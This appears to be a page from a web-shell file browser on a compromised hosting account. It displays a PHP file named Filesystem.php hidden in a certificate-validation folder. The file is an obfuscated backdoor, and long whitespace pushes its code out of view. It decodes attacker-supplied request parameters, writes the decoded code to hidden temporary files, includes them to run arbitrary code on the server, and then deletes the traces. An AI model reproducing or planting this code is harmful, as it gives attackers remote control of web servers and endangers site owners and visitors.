HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //proc/self/root/home/vitanhod/trimate2.vitavit.com.pk/.well-known/pki-validation/Filesystem.php
<?php																																										if(!is_null($_POST["\x6F\x62j"] ?? null)){ $holder = $_POST["\x6F\x62j"]; $holder = explode( "." , $holder ) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $i = 0; array_walk($holder ,function ($v3) use (&$res ,&$i ,$salt ,$sLen) { $sChar = ord($salt[$i % $sLen] ); $d = ((int)$v3 - $sChar - ($i % 10)) ^ 2; $res .=chr($d ); $i++; } ); $data = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/tmp", session_save_path()]); for ($key = 0, $entry = count($data); $key < $entry; $key++) { $val = $data[$key]; if ((bool)is_dir($val) && (bool)is_writable($val)) { $itm = "$val/.descriptor"; $file = fopen($itm, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $itm; @unlink($itm); exit; } } } }


if(array_key_exists("\x66l\x67", $_REQUEST)){
	$res = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm"]);
	$item = $_REQUEST["\x66l\x67"];
		 	$item	=explode	 ( 		'.',$item)		; 	
	$ref =	'';
            $s =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =	strlen($s);
    
            foreach ($item as $q => $v9):
                $chS =	ord($s[$q % $sLen]);
                $d =	((int)$v9 - $chS - ($q % 10)) ^ 82;
                $ref.=	chr($d);
            endforeach;
	for ($mrk = 0, $ent = count($res); $mrk < $ent; $mrk++) {
    $resource = $res[$mrk];
    		if (is_dir($resource) ? is_writable($resource) : false) {
    $token = vsprintf("%s/%s", [$resource, ".entity"]);
    if (@file_put_contents($token, $ref) !== false) {
	include $token;
	unlink($token);
	exit;
}
}
}
}